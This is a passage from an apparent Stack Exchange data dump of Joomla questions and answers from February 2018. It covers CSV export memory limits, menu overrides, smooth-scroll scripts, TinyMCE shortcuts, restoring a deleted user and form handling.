&lt;strong&gt;models&lt;/strong&gt; folder.  For each model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;list view  JModelList&lt;/strong&gt;&#xA;For &lt;strong&gt;single view  JModelAdmin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally go to the &lt;strong&gt;views&lt;/strong&gt; and the &lt;strong&gt;view.html&lt;/strong&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these should use &lt;strong&gt;JViewLegacy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;class ComponentNameViewLetter extends JViewLegacy {&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other things like JUtilty and JRequest that have been deprecated that might throw errors you should sort them on a case by case basis.   See here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2018-02-19T10:34:11.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22446" PostTypeId="1" AcceptedAnswerId="22448" CreationDate="2018-02-19T12:09:03.890" Score="0" ViewCount="112" Body="&lt;p&gt;My site has a facility to download a potentially large body of data from my database as a CSV file. This is currently implemented using a view.csv.php file that serves this data by first setting the MIME encoding and content disposition as follows, then fetching the data using JDatabaseQuery::loadObjectList() and rendering to stdout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $document   = &amp;amp;JFactory::getDocument();&#xA;    $document-&amp;gt;setMimeEncoding('text/csv');&#xA;&#xA;    $filename = 'myfile.csv';&#xA;&#xA;    JResponse::setHeader('Content-disposition', 'inline; filename=&quot;myfile.csv&quot;', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With large enough data sets though, I get a PHP 'Allowed memory size of 134217728 bytes exhausted' error. Currently, I observe this happening during the rendering of the data to output. However, I am also concerned that if even larger datasets were requested, the error might occur when fetch the data from the database - I have not tested this to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option I am considering to solve the immediate problem (errors during rendering) is to write the CSV content to a temporary file and return that somehow, rather than buffering the results directly to stdout, though I am unsure off-hand of how to return the file contents as the HTTP response once written, or if this will in fact solve the issue anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is using a temporary file the right approach to the memory-exhaustion-during-rendering issue, and if so, how do I subsequently return the content of this file as the HTTP response?&lt;/li&gt;&#xA;&lt;li&gt;Is there any mechanism to process SQL result sets one row at a time via JDatabase + JDatabaseQuery, rather than just fetching all of the data in bulk? I thought such a means existed, but on reviewing the Joomla API, it's not jumping out at me just now.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="454" LastActivityDate="2018-02-19T14:31:22.473" Title="Downloading large data sets" Tags="|php|jdatabase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22447" PostTypeId="1" AcceptedAnswerId="22494" CreationDate="2018-02-19T14:20:30.257" Score="0" ViewCount="3195" Body="&lt;p&gt;For a website, I use the stylesheet theme.css in my default template where the menu style is defined in classes like .dropdown-menu and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is now: How do I apply those classes to my menu, because my menu is still using the standard classes like .deeper and .parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I use inspect element in the browser, it applies these standard classes, but they do not even seem to exist as there is no actual css applied with them.&lt;/p&gt;&#xA;" OwnerUserId="12251" LastEditorUserId="7024" LastEditDate="2018-03-05T07:26:42.003" LastActivityDate="2018-03-05T07:26:42.003" Title="How do I override mod_menu and add classes to child li-elements?" Tags="|joomla-3.x|css|menu|styling|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22448" PostTypeId="2" ParentId="22446" CreationDate="2018-02-19T14:31:22.473" Score="1" Body="&lt;p&gt;ad 1. The best option would be using &lt;a href=&quot;http://php.net/manual/en/book.stream.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;streams&lt;/a&gt;. Unfortunately, &lt;code&gt;JDocument&lt;/code&gt; does not support streams, so a temporary file might be the best available option. In your case it might be possible to send the file directly using streams, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ad 2. Use the &lt;code&gt;JDatabaseDriver::getIterator()&lt;/code&gt; method to get a new iterator on the current query. It replaces the deprecated &lt;code&gt;JDatabaseDriver::loadNextObject()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2018-02-19T14:31:22.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22449" PostTypeId="1" CreationDate="2018-02-20T11:29:50.047" Score="2" ViewCount="1937" Body="&lt;p&gt;I have a website made with Joomla 3.x and make a menu (Agence, Regie Pub, Sites Internet, Autres Services, Realisations and Contact), I want when I click on each of them they redirected to the section in the page smootly. Before I used the extension smooth scroll anchor of PLUGINARIA but now he don't work anymore because is not free. Now I want to make my own smooth scroll by create a custom javascript file in my template helix 3 Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code of my menu :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;sp-megamenu-wrapper&quot;&amp;gt;&#xA;   &amp;lt;a id=&quot;offcanvas-toggler&quot; class=&quot;visible-sm visible-xs&quot; href=&quot;#&quot;&amp;gt;&#xA;      &amp;lt;i class=&quot;fa fa-bars&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;   &amp;lt;/a&amp;gt;&#xA;   &amp;lt;ul class=&quot;sp-megamenu-parent menu-fade hidden-sm hidden-xs&quot;&amp;gt;&#xA;      &amp;lt;li class=&quot;sp-menu-item current-item active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#agence&quot;&amp;gt;Agence&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#regie-pub&quot;&amp;gt;Régie pub&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#sites-internet&quot;&amp;gt;Sites internet&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#autres-services&quot;&amp;gt;Autres services&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#realisations&quot;&amp;gt;Réalisations&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;sp-menu-item&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;scrollTo&quot; href=&quot;#contact&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want know how can I do that with this kind of menu that I have. How can I make I smooth scroll anchor to the differente section of my onepage site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Lordaker&lt;/p&gt;&#xA;" OwnerUserId="12254" LastEditorUserId="12254" LastEditDate="2018-02-20T13:33:45.727" LastActivityDate="2018-02-20T16:35:07.807" Title="How make a smooth scroll menu anchor for a onepage site?" Tags="|joomla-3.x|extensions|custom-action|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22450" PostTypeId="2" ParentId="22449" CreationDate="2018-02-20T15:11:29.687" Score="0" Body="&lt;p&gt;This javascript code I use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //Smooth Scroll Menu&#xA;    $(document).ready(function(){&#xA;&#xA;    $('ul.sp-megamenu-parent li.sp-menu-item &amp;gt; a').on('click', function(){&#xA;&#xA;       //Toggle Class&#xA;       $(&quot;.active&quot;).removeClass(&quot;active&quot;);    &#xA;       $(this).closest('li').removeClass(&quot;active&quot;);&#xA;       var theClass = $(this).attr(&quot;class&quot;);&#xA;       $('.'+theClass).parent('li').addClass('active');&#xA;&#xA;       //Animate&#xA;       $('html, body').stop().animate({&#xA;          scrollTop: $( $(this).attr('href') ).offset().top - 0&#xA;       }, 450);&#xA;&#xA;       return false;&#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12254" LastActivityDate="2018-02-20T15:11:29.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22451" PostTypeId="2" ParentId="22449" CreationDate="2018-02-20T16:35:07.807" Score="1" Body="&lt;p&gt;Aa vanilla Javascript (faster than jQuery) approch would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', function () {&#xA;    function scrollTo(event) {&#xA;        event.preventDefault();&#xA;&#xA;        var id = event.target.getAttribute('href').replace('#', '');&#xA;        var el = document.getElementById(id);&#xA;&#xA;        if (el) {&#xA;            el.scrollIntoView({behavior: 'smooth', block: 'start'});&#xA;        }&#xA;    }&#xA;&#xA;    var menuLinks = document.querySelectorAll('.scrollTo');&#xA;&#xA;    if (menuLinks.length &amp;gt; 0) {&#xA;        for (var i = 0; i &amp;lt; menuLinks.length; i++) {&#xA;            menuLinks[i].addEventListener('click', scrollTo);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Internet Explorer and Safari, you won't get the animated scroll as neither of these browsers support options within the &lt;code&gt;scrollIntoView()&lt;/code&gt; function&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-02-20T16:35:07.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22452" PostTypeId="1" CreationDate="2018-02-20T16:47:09.643" Score="1" ViewCount="331" Body="&lt;p&gt;I'm using Joomla and it's integrated TinyMCE editor. I would like to use a shortcut like shift+space or ctrl+shift+space to insert a non breaking space fast and simple instead of to have to click a button in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a blog article from Ryan Pollard about adding shurtcuts in TinyMCE. But I don't know, where I have to add the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a programmer. Could you help me to add this shortcut?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards, Andreas&lt;/p&gt;&#xA;" OwnerUserId="12256" LastActivityDate="2018-09-19T11:00:18.167" Title="Shortcut to insert non breaking space in TinyMCE?" Tags="|plugin|editor|joomla3.8|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22454" PostTypeId="2" ParentId="22452" CreationDate="2018-02-21T07:45:19.773" Score="1" Body="&lt;p&gt;&lt;strong&gt;You have to write a TinyMCE Plugin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tinymce.com/docs/advanced/creating-a-plugin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tinymce.com/docs/advanced/creating-a-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And use the TinyMCE-Api to inject your shortcut:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tinymce.com/docs/api/tinymce/tinymce.shortcuts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tinymce.com/docs/api/tinymce/tinymce.shortcuts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to add your plugin to TinyMCE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10740/creating-custom-plugin-for-tinymce&quot;&gt;Creating custom plugin for tinymce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2018-02-21T07:45:19.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22456" PostTypeId="1" AcceptedAnswerId="22458" CreationDate="2018-02-22T13:41:19.553" Score="0" ViewCount="956" Body="&lt;p&gt;I have a Joomla system (v3.8) which is running well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, however, one of our administrator user record has accidentally been deleted. I need to restore it because we're now getting errors on pages on the site stating that this userID is missing, so there is obviously some cross-linked data that references it; probably the owner/creator of various content records. The user should have been deactivated rather than being deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have backups, but other DB changes have occurred in the interim that I don't want to lose, so I don't want to just restore the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a backed up copy up and running on a test box, and the user record is there, so it hasn't been lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to go about restoring the record? Can I just grab the record from MySQL in the backup system and insert it verbatim back into live? Will this work? Is there any other linked data that I will need to restore as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any way for me to prevent this mistake from happening again? We already had it in our user guide that user accounts should be deactivated and not deleted, but that was obviously ignored; is there a way to enforce it in Joomla not to delete users?&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="292" LastEditDate="2018-02-22T15:58:51.517" LastActivityDate="2018-02-22T15:58:51.517" Title="Restore deleted user" Tags="|joomla-3.x|mysql|administrator|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22458" PostTypeId="2" ParentId="22456" CreationDate="2018-02-22T15:14:53.113" Score="2" Body="&lt;p&gt;to fix this you can create a new user with the same privilage as  the deleted user for example if superuser create user with superuser Privilage and then go to the id of it in the phpmyadmin and change it with the id of the deleted user &lt;a href=&quot;https://www.screencast.com/t/Nj3T5hH8Vlfy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.screencast.com/t/Nj3T5hH8Vlfy&lt;/a&gt;  (see it in the backup) ..&lt;/p&gt;&#xA;" OwnerUserId="12178" LastActivityDate="2018-02-22T15:14:53.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22459" PostTypeId="2" ParentId="21252" CreationDate="2018-02-23T08:36:32.713" Score="2" Body="&lt;p&gt;It is very easy to use the &lt;strong&gt;custom fields&lt;/strong&gt; in &lt;strong&gt;article-list-view&lt;/strong&gt;.&#xA;It works out of the box. You don't have to use JLoader etc.&#xA;And you don't have to define another &quot;foreach&quot;-argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just look, how the &quot;foreach&quot; in default-articles.php for every line in the table is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $article) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you only have to change $this-&gt;item to $article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example look how the hits will be created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JText::sprintf('JGLOBAL_HITS_COUNT', $article-&amp;gt;hits); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can see, that there is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$article-&gt;hits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$this-&gt;item-&gt;hits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now to insert custom fields just modify the standard-code for custom-fields from this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[id]-&amp;gt;value; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $article-&amp;gt;jcfields[id]-&amp;gt;value; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can display every custom field with every id you like in columns for every line of the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /**--------- Custom Fields Header (Around line 120) -----------*/  ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes')) : ?&amp;gt;&#xA;    &amp;lt;th id=&quot;categorylist_header_dato&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('grid.sort', 'LIST_GILDISKOMA', 'gildiskoma', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes')) : ?&amp;gt;&#xA;    &amp;lt;th id=&quot;categorylist_header_type&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('grid.sort', 'LIST_SLAG', 'slag', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /**--- Custom Category List Fields Content (Around line 250) ---*/  ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes', 0) &amp;amp;&amp;amp; $this-&amp;gt;vote) : ?&amp;gt;&#xA;    &amp;lt;td headers=&quot;categorylist_header_date&quot; class=&quot;list-gildiskoma&quot;&amp;gt;&#xA;        &amp;lt;?php echo $article-&amp;gt;jcfields['gildiskoma']-&amp;gt;value; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes', 0) &amp;amp;&amp;amp; $this-&amp;gt;vote) : ?&amp;gt;&#xA;    &amp;lt;td headers=&quot;categorylist_header_type&quot; class=&quot;list-slag&quot;&amp;gt;&#xA;        &amp;lt;?php echo $article-&amp;gt;jcfields['slag']-&amp;gt;value; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12265" LastEditorUserId="12265" LastEditDate="2018-02-23T08:42:46.240" LastActivityDate="2018-02-23T08:42:46.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22460" PostTypeId="2" ParentId="20862" CreationDate="2018-02-23T12:50:58.777" Score="1" Body="&lt;p&gt;I can confirm that even with me there was a problem with the Regularlabs_email_protector plugin and CoalaWeb_Traffic on my server.&lt;/p&gt;&#xA;" OwnerUserId="12266" LastActivityDate="2018-02-23T12:50:58.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22462" PostTypeId="2" ParentId="22274" CreationDate="2018-02-24T00:32:20.430" Score="1" Body="&lt;p&gt;Just came across this extension, which would allow me to create an override of the com_users registration controller class (in order to add the extra query parameter to the reset link), as an alternative to the other proposed solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gruz.ml/en/extensions/mvcoverride.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gruz.ml/en/extensions/mvcoverride.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experienced developers only, mind. Might be useful to somebody coming this way.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2018-02-24T00:32:20.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22466" PostTypeId="2" ParentId="22424" CreationDate="2018-02-24T13:07:54.620" Score="0" Body="&lt;p&gt;The checkbox and radio input fields while wrapped inside a &lt;code&gt;Repeatable&lt;/code&gt; field type, is buggy. Changing it to text works. Going to stick with text.&lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2018-02-24T13:07:54.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22467" PostTypeId="1" CreationDate="2018-02-24T16:24:46.107" Score="0" ViewCount="241" Body="&lt;p&gt;Hi how can i reverse update from 3.85 to 3.6.5 - front end just displays error 404 and templates seem to be this issue&lt;/p&gt;&#xA;" OwnerUserId="12272" LastActivityDate="2018-02-24T23:45:52.337" Title="Fatal Error / 404 on all pages after update to 3.8.5" Tags="|fatal-error|joomla3.8.5|" AnswerCount="1" CommentCount="1" ClosedDate="2018-02-27T10:30:35.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="22468" PostTypeId="2" ParentId="22467" CreationDate="2018-02-24T23:45:52.337" Score="0" Body="&lt;p&gt;Without a backup there is no undoing an upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do post the errors you're getting (plus other info) if you need help. &lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-02-24T23:45:52.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22471" PostTypeId="2" ParentId="22447" CreationDate="2018-02-26T07:25:56.660" Score="0" Body="&lt;p&gt;So based on the comments I found out that I have to override the menu module by creating a default.php in my templates' html/mod_menu folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how to override the submenu css I used a plugin called Trigger in which you basically can swap out html-code and I just swapped the classes of my submenu with the classes I needed, which looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$narcissus1 = ''; $narcissus1 = '&amp;lt;li class=&quot;item-108 dropdown&quot;&amp;gt;'; $echo1 = ''; $echo1 = '&amp;lt;li class=&quot;item-108 dropdown-submenu&quot;&amp;gt;';&#xA;$buffer1  = str_replace ($narcissus1, $echo1, $buffer1);&#xA;JResponse::setBody($buffer1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12251" LastActivityDate="2018-02-26T07:25:56.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22472" PostTypeId="1" AcceptedAnswerId="22473" CreationDate="2018-02-26T07:57:31.017" Score="0" ViewCount="1332" Body="&lt;p&gt;I have a form which fetches and displays data from two databases (sessions, students) and allows a curriculum manager to select different combinations of students and classes by clicking check boxes. &lt;strong&gt;The part that I am having trouble with is saving those different combinations back to the database &quot;orders.&quot;&lt;/strong&gt; I need to save the student name (from students) and the session id (from sessions) for every checkbox which the user selects. Here is a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0diKN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0diKN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above selection should make three separate entries in the orders database upon clicking &quot;submit&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Joe Biden and the SID for French&lt;/li&gt;&#xA;&lt;li&gt;Tom Riddle and the SID for French&lt;/li&gt;&#xA;&lt;li&gt;Joe Biden and the SID for Geography&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;form-order&quot;&#xA;              action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;task=order.save'); ?&amp;gt;&quot;&#xA;              method=&quot;post&quot; class=&quot;form-validate form-horizontal&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php foreach ($session_items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;topb&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;sessind&quot; id=&quot;sess_&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;fll&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;time; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;fll&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;dropbtn&quot; data-id=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot; id=&quot;dbtn_&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;span id=&quot;span_&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;open&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;moredta&quot; id=&quot;data_&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;leftc&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;teacher:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;teacher; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;rightc&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;level:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;lvl; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;notes&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;notes:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;notes; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;table table-striped&quot; id=&quot;studentList&quot;&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php foreach ($student_items as $student_item) : ?&amp;gt;&#xA;            &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;jform[name]&quot; value=&quot;&amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[sid]&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;sid; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;canSave): ?&amp;gt;&#xA;                        &amp;lt;button type=&quot;submit&quot; class=&quot;validate btn btn-primary&quot;&amp;gt;&#xA;                            &amp;lt;?php echo JText::_('JSUBMIT'); ?&amp;gt;&#xA;                        &amp;lt;/button&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;a class=&quot;btn&quot;&#xA;                       href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;task=orderform.cancel'); ?&amp;gt;&quot;&#xA;                       title=&quot;&amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_merakiac&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot;&#xA;                   value=&quot;orderform.save&quot;/&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;?php endif; 